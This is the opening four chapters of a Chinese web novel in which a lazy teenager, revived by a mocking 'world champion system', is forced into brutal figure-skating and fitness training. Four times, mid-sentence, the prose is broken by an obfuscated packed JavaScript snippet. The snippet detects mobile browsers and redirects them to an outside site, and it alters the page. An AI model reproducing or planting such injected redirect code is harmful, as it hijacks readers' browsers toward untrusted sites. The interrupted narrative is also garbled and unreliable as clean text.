《原来你是这样的世界冠军》 1. chapter1 午夜，十二点的钟声仿佛还在城市上空幽幽回荡。 夜风习习，楚棠正躺在自家公寓楼顶的天台上，嘴里叼着根快灭的棒棒糖，耳机里放着舒缓的纯音乐，双眼无神地望着缀满星子的夜空。 “啧，又催我去报健身房，她想去就自己去啊，扛火车跑八百米都没人管。” 他小声嘟囔，翻了个身，试图将那些恼人的催促声从脑子里甩出去。 一阵不大不小的夜风吹过，带着初夏特有的微凉。 楚棠舒服地哼唧了一声，又往天台边缘挪了挪，似乎觉得那里的风更带劲。 他那身形纤长的身体，在月光下拉出一条懒洋洋的影子。 五官倒是精致得不像话，可惜此刻被懒散和一丝不耐烦笼罩，平白浪费了那副好皮囊。 “运动是对生命有限性的无谓消耗。” 楚棠对着空气发表完自己的高论，满意地闭上了眼睛，准备享受这片刻的宁静。 殊不知，死神正在对他露出微笑。 他忘了自己身下是二十层的高楼，也忘了天台边缘并没有那么牢固的护栏，更忘了他刚刚那个舒服的翻身，已经让他大半个身子悬在了半空。 不知什么时候，耳边的音乐声戛然而止，不是他按了暂停，是耳机线被一股巨大的力量扯断了。 楚棠猛地睁开眼。 映入眼帘的，是飞速倒退的星空和迅速放大的地面。 “我……草？” 这是他失去意识前，脑海里闪过的唯一一个，也是最后一个念头。 短暂的、极致的失重感，然后是将他撕裂般的疼痛。 再然后，一片虚无。 楚棠感觉自己像是漂浮在一片温热的黑暗里，没有声音也没有光，甚至没有时间的概念。 “我还活着？” 一个荒谬的念头冒了出来。 下一秒，一个冰冷、不带任何感情的机械音在他“脑海”中响起。 “叮——！” “检测到符合条件的灵魂体。” 楚棠：“？？？” 谁在说话？ “灵魂强度评估中……精神韧性评估中……身体基础潜能评估中……” 机械音不疾不徐，像是在读取什么数据。 楚棠试图看，试图听，却发现自己什么也做不了。 他就像一个被困在无形囚笼里的意识。 “评估完毕。” “灵魂体：楚棠。” “年龄：18岁（生理死亡）。” “综合评定：S级，符合‘世界冠军养成系统’绑定标准。” 楚棠脑子嗡的一声。 生理死亡？ 他真摔死了？ “系统？” 他试探性地在心里发问。 “是的，宿主。”机械音回应得飞快。 “世界冠军养成系统，竭诚为您服务——虽然你看起来不太情愿。” 楚棠：“……” 这系统，听起来怎么有点贱兮兮的？ “所以，我现在是鬼？”楚棠努力消化着这超自然的一切。 系统冷冰冰地回答：“准确来说，是即将彻底消散的灵魂能量体。” “除非……” 楚棠心里一紧：“除非什么？” “除非你选择与本系统绑定。” 系统的声音里仿佛带上了一□□惑。 “绑定本系统，你将有机会重塑身体，重返人间。” 重返人间。 这四个字像一道惊雷，劈在楚棠即将涣散的意识上。 他虽然懒，但确实也不那么想死。 他才十八岁，人生还没开始就结束了，太亏了。 “代价呢？”楚棠强迫自己冷静下来。 天下没有白吃的午餐，这个道理他还是懂的。 “代价就是。”系统顿了顿，似乎在组织措辞，但最后还是选择了最直接的方式，“你需要成为一名花样滑冰世界冠军。” “……” 空气一度十分安静。 楚棠怀疑自己听错了。 “花样……什么？” “花样滑冰，Figure Skating。”系统贴心地补充，“一项在冰上进行的，融合了力量、技巧、艺术表现力的竞技体育项目。” 楚棠沉默了。 如果他现在有身体，一定会翻个巨大的白眼。 “你逗我呢？” 他，楚棠，一个视运动为洪水猛兽，能瘫着绝不站着的究极懒癌患者，去当花样滑冰世界冠军？ 这比让他当场再死一次还要离谱。 “让我去滑冰？那你还是让我死吧。” “本系统从不逗弄濒死的灵魂。”系统的声音依旧毫无波澜。 “这是你唯一的机会。” “要么现在彻底消散，回归宇宙的尘埃。” “要么绑定本系统，去冰上挥洒汗水，站上世界之巅，重获新生。” 楚棠感到一阵窒息。 花样滑冰…… 他脑海里浮现出电视上那些穿着闪亮考斯滕，在冰上转过来跳过去的运动员。 优雅是优雅，但也确实累啊。 他从小到大体育课都是勉强及格，八百米能跑七分钟的主。 让他去搞那个？ “不能换个项目吗？”楚棠不死心地问，“比如电子竞技？那个我也能躺着。” 系统冷酷回答：“本系统为‘世界冠军养成系统-花滑专项版’，不支持更换项目。” “你还有十秒钟考虑时间。” “十。” 冰冷的倒计时开始。 楚棠一口气提到了嗓子眼。 “九。” 去他妈的花样滑冰，老子宁愿…… “八。” 可是，他确实还是想活一下的，想看看明天的太阳，想吃楼下那家新开的麻辣烫，想把他下载了好久还没看的番追完…… “七。” “你确定我这种废柴能行？”楚棠妥协了。 系统：“本系统拥有最科学的训练方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575238|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案和最精准的数据监测，只要宿主配合，一切皆有可能。” 潜台词你要是不配合，那就不可能。 “六。” “配合……会有多累？” 系统：“大概是现在的你每天都想死一百遍的程度。” 楚棠：“……” 这系统是魔鬼吗？！ “五。” “难道你不想成为身体纤长、肌肉优美的翘屁嫩男吗？” “我选，我选。”楚棠几乎是吼出来的，“我绑定！我他妈绑定还不行吗！” 再不选，他就真的要魂飞魄散了！ “叮——！” “宿主选择确认。” “世界冠军养成系统绑定中……1%……35%……78%……100%。” “绑定成功。” 一股难以言喻的暖流包裹了楚棠的意识，仿佛将他破碎的灵魂一点点重新聚合。 紧接着是强烈的撕扯感。 “身体数据重塑中……神经元连接中……” 系统的声音伴随着剧痛传来。 楚棠感觉自己像是被扔进了滚筒洗衣机，搅得七荤八素，天旋地转。 就在他以为自己要在这重塑过程中再次死去时，一切猛然停止。 楚棠猛地睁开双眼，毫无形象可言地大口大口喘着粗气。 映入眼帘的是熟悉的天花板，鼻尖萦绕着淡淡的消毒水味，还有自己房间里那只半旧的皮卡丘玩偶。 他腾地一下坐了起来，摸了摸自己的脸，又掐了掐自己的胳膊。 有痛觉，他还活着。 “难道……刚才那一切都是梦？” 楚棠心有余悸地喃喃自语。 摔下楼，遇到个什么破系统，还被迫答应去搞什么花样滑冰…… 也太离谱了。 肯定是噩梦，对，就是噩梦。 他掀开被子，正准备下床喝口水压压惊。 “温馨提示，宿主。” 那个冰冷又带着一丝戏谑的机械音，清晰地在他脑海中响起。 “距离您首次新手训练任务开启，还有十分钟。” “请宿主做好准备，迎接您崭新而‘充满活力’的人生。” 楚棠僵在原地，脸上的血色以肉眼可见的速度褪得一干二净。 他缓缓低头，看向自己的手。 那双手依旧纤细漂亮，只是…… 手腕上，不知何时多了一个淡蓝色的，类似冰晶纹样的印记，正微微发着光。 楚棠：“……” 不是梦。 他真的把自己给卖了，卖给了一个致力于把他培养成花样滑冰世界冠军的魔鬼系统。 “我的人生……彻底完犊子了。” 楚棠破防了，彻彻底底的破防了，少年清亮的哀嚎在清晨的阳光中显得格外凄惨。 系统毫无同情心地补充：“准确来说，是刚刚开始，宿主。毕竟，不努力，就会死哦。” 楚棠：“！！！” 救命！这日子没法过了！ 2. chapter2 那死字就像一把达摩克利斯之剑悬在他的头顶，闪着森然的寒光。 “滴——” “十分钟倒计时结束。” 系统的提示音不带一丝波澜，仿佛在宣布一件微不足道的小事。 “新手训练任务即将开启，地点：星光国际滑冰俱乐部。传送准备……” 楚棠还没来得及从床上爬起来，甚至没来得及再骂一句“草”，就感觉眼前猛地一花。 不是幻觉，是真的天旋地转。 下一秒，一股刺骨的寒意瞬间包裹了他。 楚棠一个激灵，下意识地打了个哆嗦。 他发现自己正站在一片巨大而空旷的冰面上。 四周是观众席的模糊轮廓，头顶是明亮的射灯，空气中弥漫着一股冰特有的、清冽又带着点消毒水的气味。 脚下原本穿着的棉拖鞋，不知何时变成了一双他这辈子都没穿过的，看起来就又重又硬的白色冰鞋。 冰刀又薄又长，在灯光下反射着金属的冷光，看得楚棠心头发怵。 “这……这是哪儿？” 他声音都在抖，不是装的，是冻的，也是吓的。 “星光国际滑冰俱乐部，A级标准冰场。”系统尽职尽责地回答。 “新手任务：冰上适应性训练。目标：在冰上独立站立超过十秒钟。” “站……站立？”楚棠低头看看自己脚下那两根细长的玩意儿，又看看光滑如镜的冰面，腿肚子都开始转筋。 他连旱冰都没玩过！ “友情提示：宿主，完成任务有时限，超时同样视为任务失败。” 系统那该死的声音又响起来了。 楚棠深吸一口气，又一口气，感觉吸进肺里的都是冰碴子。 “不就是站十秒吗，我试试。” 试试就逝世。 楚棠小心翼翼地像个刚出生的长颈鹿，试图挪动一下右脚。 冰面滑得超乎他的想象，脚腕子根本使不上力。 “啊——！” 他短促地惊呼一声，身体不受控制地向后仰去。 “砰！” 一声巨响。 楚棠以一个极其标准的屁股向后平沙落雁式，结结实实地砸在了坚硬冰冷的冰面上。 尾椎骨仿佛裂开了一样，疼得他眼泪当场就飙了出来。 他趴在冰上，疼得龇牙咧嘴，半天没缓过劲儿来。 系统面板在他眼前自动弹出： “首次尝试，失败。” “身体平衡感捕捉：偏差值98.7%。” “核心力量运用：-5%。（备注：负数代表您不仅没用上力，还因为错误发力导致了反效果。）” “综合评价：菜得抠脚。” 楚棠：“……” 他咬着牙，双手撑着冰面，试图爬起来。 手掌刚一接触冰面，那股凉意就透骨而来，更要命的是，手也滑得很。 他好不容易撑起上半身，脚下又是一趔趄。 “咚！” 这次是膝盖先着地，然后整个人像一滩烂泥一样重新糊回了冰上。 “警告！膝盖受到撞击，软组织轻微挫伤风险。宿主生命体征暂时稳定，但疼痛感大幅上升。” 系统的声音依旧平静无波，甚至带着一丝幸灾乐祸？ “我放弃了，我不行，让我死吧……”楚棠趴在冰上，有气无力地哼唧，眼泪鼻涕糊了一脸。 太他妈疼了，也太他妈难了，这根本不是人该干的活。 “任务失败将触发即刻抹杀惩罚。倒计时：29分32秒。”系统冷酷地提醒，“抓紧起来哦，今天是你成为翘屁嫩男的第一天。” 那句“不努力，就会死”又在他脑海里加粗放大，自带血色特效。 楚棠一个激灵，求生欲战胜了一切。 他抹了把脸，用袖子胡乱擦了擦眼泪鼻涕，再次挣扎。 摔。 爬起来。 再摔。 换个姿势摔。 劈叉式摔。 狗啃泥式摔。 脸先着地式摔。 冰冷的冰面仿佛成了他唯一的归宿，他以各种常人难以想象的姿势，一次又一次地与它进行着亲密接触。 短短几分钟，楚棠感觉自己把这辈子的跤都摔完了。 浑身上下从头发丝到脚指甲盖，没有一处不疼的。 他现在就像一条被扔上岸濒死的鱼，除了大口喘气和徒劳地扑腾，什么也做不了。 就在他第不知道多少次摔倒，以一个“大”字型摊在冰上，思考人生为何如此艰难的时候—— “噗嗤。” 一声毫不掩饰的嗤笑，从不远处传来。 楚棠艰难地扭过头，模糊的视线中，一个穿着黑色紧身训练服的少年，正单脚点冰，双臂抱在胸前，好笑地看着他这边。 那少年看起来也就比他大一岁左右，短发清爽利落，眉眼间带着几分少年人特有的跳脱和毫不掩饰的嘲弄。 他滑得非常轻松，像一条鱼在水里一样自在。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575239|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 少年脚下一蹬，身形流畅地滑了过来，稳稳地停在楚棠脑袋前方不远处，居高临下地打量着他。 “我说，哥们儿。” 少年的声音带着笑意，清亮又有点欠揍。 “你这是新来的碰瓷艺术家？” 楚棠：“……” 他的脸“唰”地一下就红了，从额头红到了脖子根，不知道是气的，还是羞的，亦或是冻的。 “我摔倒的姿势，有那么标准吗？”他想反驳，但开口却是一句带着哭腔的自嘲。 “何止标准啊。”那少年煞有介事地点点头，憋着笑，“我看你这摔法花样百出，落地精准，一看就是练家子。” 他绕着趴在地上的楚棠滑了一小圈，像是在欣赏什么稀奇的展品。 “说真的，你这冰场碰瓷业务，是打算按次收费呢，还是包月有优惠？” “你你胡说八道什么。”楚棠又急又气，挣扎着想爬起来和他理论。 结果，手脚并用地扑腾了半天，不仅没站起来，反而因为重心不稳，又是一个狼狈的侧摔。 “砰！”这次额头磕到了冰。 “啧啧啧。”少年摇着头，语气更戏谑了，“碰瓷还带自残的啊？兄弟，对自己够狠。” 楚棠眼前一阵阵发黑，额头火辣辣地疼，他简直想找个地缝钻进去，或者当场去世。 太丢人了。 他楚棠活了十八年，就没这么丢人过。 【叮——！】 【检测到来自NPC“李燃”的深度嘲讽。】 【宿主“羞耻度”+50，“社交死亡”进度+10%。】 【恭喜宿主解锁隐藏称号：“冰场碰瓷第一人（初级）”。】 【系统友情提示：请宿主再接再厉，争取早日成为冰场喜剧之王，用爱与和平（以及不断的摔倒）征服世界。】 楚棠：“……” 麻了，毁灭吧。 李燃看着他那副生无可恋、在冰上蠕动的样子，终于忍不住哈哈大笑起来。 “行了行了，不逗你了。看你这样子，是真不会滑啊？” 他伸出手：“起来吧，新来的。我叫李燃，以后多指教——指教你怎么摔得更好看。” 楚棠看着伸到眼前的手，又看了看李燃脸上那促狭的笑，恨不得一口咬上去。 但…… “不努力，就会死。” 他悲愤地吸了吸鼻子，颤抖着伸出手，抓住了李燃的手。 冰凉的触感，却带着一丝不容抗拒的力量。 3. chapter3 李燃的手像一把烧红的铁钳，烫得楚棠一哆嗦，却又带着不容抗拒的力量，硬生生将他从冰冷的绝望中拽了起来。 楚棠双腿抖得像筛糠，脚下那双冰鞋仿佛焊了千斤的铅块，每动一下都牵扯着全身的神经末梢，发出濒死的哀嚎。 “谢……谢你……” 他刚想喘口气，跟眼前这个笑得一脸欠揍的家伙说点什么，哪怕是句场面话，眼前却猛地一黑。 熟悉的失重感再次袭来。 “不是吧，又来？！”楚棠在心里咆哮，这次连骂出声的力气都没有了。 下一秒，脚踏实地的感觉传来，但空气中那股冰冷的、带着消毒水味的气息消失了，取而代之的是一股浓郁的汗味、橡胶味以及某种他形容不出来的，属于健身房特有的的味道。 楚棠晃了晃还有些发晕的脑袋，发现自己站在一个铺着黑色橡胶地板的宽敞房间里。 四周是各种奇形怪状的金属器械，明晃晃的，透着一股“不练死你算我输”的凶残劲儿。 脚上的冰鞋不知道什么时候又变回了他自己的运动鞋，虽然依旧感觉双腿发软，但至少不用再担心下一秒就表演花样滑冰的N种摔法了。 “欢迎来到星光国际滑冰俱乐部附属体能训练中心。” 系统的声音在他脑海中响起，依旧是那副公事公办、莫得感情的调调。 “鉴于宿主目前身体素质过于孱弱，连在冰上独立站立都如此艰难，现开启新手强制体能强化训练。” 楚棠：“……” 他就知道，这破系统绝对不会让他好过。 “第一项训练：无负重深蹲。目标：标准动作完成50次为一组，共计10组。” “友情提示：每组动作需在规定时间内完成，否则将触发‘电击惩罚’，强度足以让宿主体验全身肌肉同时抽筋的快感。” 楚棠听得头皮发麻，嘴角抽搐：“五……五十次一组？还十组？一共五百个？你当我是生产队的驴吗？！” 他平时连从床上爬起来去上课都嫌累，现在要他做五百个深蹲？ 这跟直接让他去死有什么区别？！ “宿主可以选择放弃。”系统毫无波澜地补充，“后果自负。” 那冰冷的“死”字，又一次在他脑海中描边加粗，闪着幽幽的红光。 楚棠深吸一口气，又深吸一口气，感觉吸进肺里的都是绝望。 “我做，我做还不行吗。”他咬牙切齿，从牙缝里挤出这几个字。 不就是深蹲吗？蹲就蹲！总比当场去世强！ 系统面板上立刻出现了一个标准深蹲的动作示范图，旁边还有详细的文字说明：双脚与肩同宽，脚尖微微向外，核心收紧，臀部后坐，下蹲至大腿与地面平行…… “计时开始。” 冰冷的提示音响起，楚棠认命地摆开架势。 第一个深蹲，他感觉自己的膝盖像是生了锈的合页，发出了“嘎吱嘎吱”的抗议声。 第二个，大腿肌肉开始颤抖。 第三个，他感觉自己快要控制不住身体，一屁股坐到地上了。 “动作不标准，核心未收紧，重心前移。”系统无情地指出他的错误。 楚棠咬着牙调整姿势，汗水开始从额角渗出。 他以前最讨厌的就是体育课，尤其是体能测试，每次跑八百米都感觉自己快要交代在塑胶跑道上。 没想到，死了之后还要遭这份罪，而且强度是以前的N倍。 第十个…… 第二十个…… 汗水像断了线的珠子一样往下淌，很快浸湿了他单薄的T恤，紧紧地贴在身上，勾勒出他因为缺乏锻炼而略显单薄的身体线条。 他的呼吸越来越粗重，肺部像是被人塞了一团烧红的炭，火辣辣地疼。 每一次下蹲，大腿和臀部的肌肉都像被无数根针扎一样刺痛；每一次起身，都感觉像是用尽了全身的力气。 “还有三十个。”系统冷漠报数。 楚棠的视线开始模糊，眼前阵阵发黑，他感觉自己随时都可能昏过去。 “我不行了……真的……我不行了……”他嘴唇发白，声音都带着哭腔。 “警告：宿主心率过快，乳酸堆积已达临界值。但，尚未达到身体极限。” “人类的潜力是无穷的，宿主，挖掘一下，也许有惊喜。” 楚棠已经没力气去分辨系统语气里的细微变化了，他只知道自己快要死了。 比刚才在冰上摔得七荤八素还要难受一万倍。 当他咬着牙，凭借着最后一丝求生的意志，晃晃悠悠地完成第一组的第五十个深蹲时，整个人就像是从水里捞出来一样。 “第一组完成，用时超出标准时间2分13秒。鉴于初次训练，惩罚减半，电击强度调整为‘酥麻’等级。” 楚棠刚想抗议，一股微弱但清晰的电流瞬间窜遍全身。 就像是冬天穿毛衣时被静电狠狠电了一下，然后这个感觉持续了整整五秒，并且放大了十倍。 他浑身一个激灵，鸡皮疙瘩起了一身，整个人不受控制地抖动起来，像一条上了岸的鱼。 电流消失后，楚棠双腿一软，直接瘫倒在地，大口大口地喘着粗气，连骂人的力气都快没了。 “第二组训练，准备开始。倒计时，三十秒。” “你简直就是个魔鬼。”楚棠趴在地上，用尽全身力气控诉。 “多谢夸奖。”系统平静回应，“宿主，温馨提示，长时间趴在地上容易受凉，影响训练效果。” 楚棠：“……” 他真的想哭。 他一个十八岁的花季少男，长得帅，家里有点小钱，平时过着衣来伸手饭来张口的咸鱼生活，最大的烦恼不过是明天吃什么，或者新出的游戏要不要氪金。 什么时候受过这种委屈？这种折磨？ 求生欲再次压倒了一切。 在倒计时结束前，楚棠颤巍巍地撑着地爬了起来。 第二组深蹲，比第一组更加艰难。 他的肌肉已经开始发出强烈的抗议，每下蹲一次，都感觉像是有人拿着锤子在狠狠敲打他的骨头。 汗水迷住了眼睛，涩得他睁不开。 他只能凭借着本能，机械地重复着下蹲、起身的动作。 不知道过了多久，也许是几分钟，也许是十几分钟，当他做到第二组不知道第几个的时候，胃里突然一阵翻江倒海。 一股强烈的恶心感直冲喉咙。 他想忍，但那股生理性的不适根本不是意志力可以控制的。 楚棠猛地弯下腰，扶住旁边一个冰冷的器械。 楚棠吐得天昏地暗，眼泪鼻涕糊了一脸，感觉五脏六腑都快要从嘴巴里呕出来了。 他瘫软在地，浑身脱力，狼狈不堪，连抬起一根手指的力气都没有了。 视野一片模糊，耳朵里嗡嗡作响。 “我……我不行了……”他喃喃自语， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575240|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音细若蚊吟，“让我死了算了……真的……” 他感觉到自己的意识正在一点点抽离，身体越来越轻，仿佛下一秒就要魂飞魄散。 就在他以为自己这次真的要玩完的时候，系统的声音再次响起，这一次似乎带着一丝微妙的满意。 “检测到宿主出现呕吐现象，此为高强度训练后身体的正常应激反应，证明训练已达到预期效果。” 楚棠：“……你管这叫……预期效果？” 他想骂人，但连张嘴的力气都快没了。 “是的。”系统肯定地回答，“只有突破极限，才能获得成长。” “根据实时数据监测，宿主臀大肌、股四头肌、腘绳肌均已达到深度刺激，肌纤维出现大量良性微小撕裂，为后续肌肉重塑与力量增长奠定了坚实基础。” 楚棠听得云里雾里，什么肌肉，什么撕裂，他只知道自己现在难受得想死。 “恭喜宿主，【蜜桃臀养成计划】当前进度已激活并达到3%。” “恭喜宿主，【大长腿塑形计划】当前进度已激活并达到3%。” 两行带着金色光效的提示文字，突兀地出现在楚棠的视野中。 楚棠：“？？？” 他费力地眨了眨眼睛，怀疑自己是不是因为缺氧出现了幻觉。 “蜜……蜜桃臀？”他艰难地吐出这几个字，语气里充满了荒谬和不可置信。 “是的，宿主。”系统解释道，“本系统致力于将宿主培养成德智体美劳全面发展的世界冠军。完美的身材，亦是冠军魅力不可或缺的一部分。” “想象一下，当您拥有挺翘饱满、线条流畅的臀部，以及修长有力、比例完美的双腿，在冰场上做出各种高难度动作时，那将是何等赏心悦目的画面？” 楚棠：“……” 他一时之间竟然不知道该作何反应。 这破系统关注点是不是有点歪，他明明快要被练死了，结果系统告诉他，他的屁股和大腿正在变得更好看？ 这算什么？死亡之前的临终关怀吗？ “根据本系统对宿主潜意识数据的深度分析，宿主对自身外形有着高度的隐性关注。此种激励方式，预计能有效提升宿主的训练积极性。”系统一本正经地补充。 楚棠的脸颊不受控制地微微发烫，也不知道是累的，还是被说中了心事而感到羞窘。 他确实偶尔会羡慕那些身材好的人，也会在洗澡的时候对着镜子偷偷比划一下，幻想自己拥有八块腹肌和人鱼线，但这能跟现在这种要命的训练混为一谈吗？！ “请宿主尽快调整状态，第二组训练剩余17个，倒计时已重新开始。” “为了更完美的臀腿线条，请宿主继续努力。” 楚棠：“我努力你个大头鬼啊！” 他想破口大骂，但看着视野中那明晃晃的“蜜桃臀养成计划进度3%”，以及脑海中系统描绘的“赏心悦目”的画面。 该死的，竟然有那么一丝丝微不足道满足感。 楚棠咬了咬牙，抹了一把脸上的汗水和泪水。 真是被这个破系统拿捏了。 他晃晃悠悠地再次扶着器械，撑起了自己那仿佛灌了铅的双腿。 虽然每块肌肉依旧在尖叫，虽然胃里依旧有些不舒服，但胸腔里那股濒死的绝望感，似乎被这突如其来的“塑形进度”冲淡了那么一丁点。 最起码，为了将来在冰场上摔得更好看一点，他也该接练习了。 4. chapter4 没等楚棠从地上爬起来，对那所谓的“蜜桃臀”和“大长腿”发表几句热情洋溢的问候，训练室厚重的隔音门“咔哒”一声，被人从外面推开了。 一个穿着黑色运动服，身形挺拔，面容冷峻的中年男人走了进来。 男人约莫四十岁的年纪，短发利落，透着一股生人勿近的疏离感。 他手里拿着一个战术板，目光在训练室里扫了一圈，最后落在了瘫在地上形象约等于一滩烂泥的楚棠身上。 楚棠：“……” 夭寿了，被人看到了他这副鬼样子。 他下意识地想爬起来，但浑身的肌肉都在叫嚣着罢工，稍微一动就疼得他龇牙咧嘴。 “新来的？” 男人开口了，声音和他的人一样，冷冰冰的，没什么温度。 楚棠心里咯噔一下，这语气，这气场，应该是个教练吧。 “……是的。”楚棠努力想挤出一个乖巧的笑容，结果因为肌肉僵硬，笑得比哭还难看。 陈默的眉头几不可察地蹙了一下，显然是对楚棠这副尊容不太满意。 “谁让你用这种姿势休息的？”他的声音里带着一丝不悦，“核心力量太差，连基本的站姿都维持不了？” 楚棠欲哭无泪。 如果你知道他刚做完不知道多少个深蹲还吐得昏天黑地，你也会觉得他命苦的。 “系统提示：检测到关键人物【金牌教练——陈默】出现。” “发布支线任务：【初次见面，展现惊人潜力】。” “任务要求：在陈默面前以任意方式展现宿主S级身体潜能，获取其初步认可。” “任务奖励：未知惊喜大礼包一份。失败惩罚：随机部位抽筋一小时。” 楚棠：“！！！” 他展现个锤子，他现在只想当场去世。 还随机部位抽筋一小时？这破系统是想让他体验一下植物大战僵尸里那个抽搐的僵尸吗？ 陈默见楚棠半天没反应，只是表情扭曲地躺在地上眼神古怪，耐心显然快要告罄。 “连话都说不清楚了？” 他迈开长腿，几步走到楚棠身边，居高临下地看着他。 那眼神，像是在审视一块不合格的劣质材料。 楚棠被他看得头皮发麻，求生欲再次爆棚。 “不……不是的教练。” 他急中生智，看着自己因为瘫软而扭曲成一个诡异角度的腿，灵光一闪。 “我……我在拉伸，对，拉伸。” 他一边说着，一边努力将一条腿往身体侧面掰，试图做出一个标准的横叉动作。 然而，他高估了自己现在的体力，也低估了自己身体本身的柔韧性。 他只是随便那么一掰…… “咔嚓——” 一声轻微的，像是筋骨错位的声音响起。 楚棠：“……” 陈默：“……” 楚棠只觉得大腿内侧一阵尖锐的刺痛，紧接着他就眼睁睁看着自己的右腿，以一个超越人类极限的角度，稳稳当当地贴在了地面上。 形成了一个标准得不能再标准的一百八十度横叉。 甚至因为他上半身还歪七扭八地瘫着，胯部几乎完全贴地，这个横叉的角度隐隐有超越一百八十度的趋势。 空气在这一刻，仿佛凝固了。 楚棠保持着这个诡异的姿势，疼得倒吸一口凉气，脸上冷汗涔涔。 他想哭，真的。 他发誓他只是想稍微表现一下，没想表演杂技啊。 陈默原本冷峻的脸上，第一次出现了明显的裂痕。眉头猛地挑起，眼神里充满了难以置信。 “你……” 他蹲下身，伸出修长的手指，小心翼翼地碰了碰楚棠那条与地面亲密接触的大腿。 触手可及的是紧绷的肌肉线条，以及那惊人的开度。 “你管这叫拉伸？”陈默的声音带着一丝不易察觉的颤抖。 楚棠欲哭无泪：“教……教练，意外，纯属意外……” 他现在只想把腿收回来，太特么疼了。 “别动！” 陈默突然厉喝一声，制止了楚棠想要挣扎的动作。 他的眼神变了，不再是之前的冷漠和审视，而是像发现了稀世珍宝一般，闪烁着一种近乎狂热的光芒。 “保持住这个姿势。” “系统提示：宿主无意中触发【S级柔韧性展示】，陈默好感度+5，震惊值+50。” “支线任务【初次见面，展现惊人潜力】完成度30%。” 楚棠：“……” 这他妈也行？！ 陈默的手指沿着楚棠的大腿内侧轻轻按压，从脚踝到大腿根部，仔细地检查着。 他的动作很专业，带着一种不容置喙的力道。 楚棠疼得直抽抽，感觉自己的腿快要不是自己的了。 “教练……我……我腿要断了……”他带着哭腔哀嚎。 “闭嘴。”陈默冷声道，“放松，不要对抗。” 他的手指停留在楚棠的胯部，轻轻向下压了压。 “嘶——”楚棠疼得眼泪都快飙出来了。 “韧带条件很好。”陈默喃喃自语，眼神越来越亮，“几乎没有经过系统训练就能达到这种程度，简直是天才。” 他站起身后退两步，仔仔细细地打量着楚棠，仿佛在欣赏一件完美的艺术品。 “竖叉，试一下。”陈默命令道。 楚棠小声逼逼：“教练，我刚才是意外……” “我让你试。”陈默的语气不容置疑。 楚棠咬了咬牙，看着系统面板上那个“随机部位抽筋一小时”的惩罚，心一横。 不就是竖叉吗？死就死吧！ 他艰难地调整身体，在陈默的注视下，努力地将一条腿向前，一条腿向后。 又是一声轻微的“咔嚓”。 楚棠认命地闭上了眼睛。 当他再次睁开眼时，发现自己已经稳稳当当地劈下了一个完美的竖叉。 两条腿笔直地伸展，与地面形成一条直线，上半身因为脱力而微微前倾，却依旧保持着惊人的平衡。 陈默的呼吸在这一刻似乎都停滞了，他眼中的光芒简直能把楚棠点燃。 “真是不可思议。” 他走上前再次蹲下，仔细观察着楚棠的髋关节和膝关节。 “肩关节怎么样？能反手摸到肚脐吗？”陈默突然问道。 楚棠：“？？？” 反手摸肚脐？那是什么鬼畜姿势？ “系统友情提示：宿主肩关节柔韧性评级为S+，完成此动作毫无压力。同时可激活【天鹅臂养成计划】。” 楚棠：“……” 行吧，为了天鹅臂，拼了。 他咬着牙，在陈默的指导或者说是强迫下，开始尝试各种高难度的柔韧性动作。 从简单的压肩、开髋，到需要极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575241|171541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强腰腹力量和柔韧性的后弯、贝尔曼旋转的模仿姿势。 整个体能训练室，一时间充斥着楚棠的痛呼和陈默冷静的指令。 “腰再下一点，想象你的头可以碰到脚后跟。” “腿抬高！再高！极限在哪里？” “肩关节打开，对，就像这样，感受韧带拉伸的酸痛感。” 楚棠感觉自己就像一块橡皮泥，被陈默捏过来掰过去，拉长又压扁。 他无数次觉得自己快要被折断了，但每次都在陈默那双锐利眼睛的注视下，以及系统“塑形计划进度+1%”的诱惑下，咬牙坚持了下来。 汗水湿透了他的衣服，黏腻地贴在身上，勾勒出他因为高强度训练而微微颤抖的肌肉线条。 精致的五官因为痛苦而扭曲，眼角泛红，带着生理性的泪水，看起来既狼狈又有种奇异的破碎美感。 陈默看着他，眼神复杂。 “好了，今天就到这里。” 不知道过了多久，当楚棠感觉自己全身的骨头缝里都塞满了柠檬酸的时候，陈默终于开口。 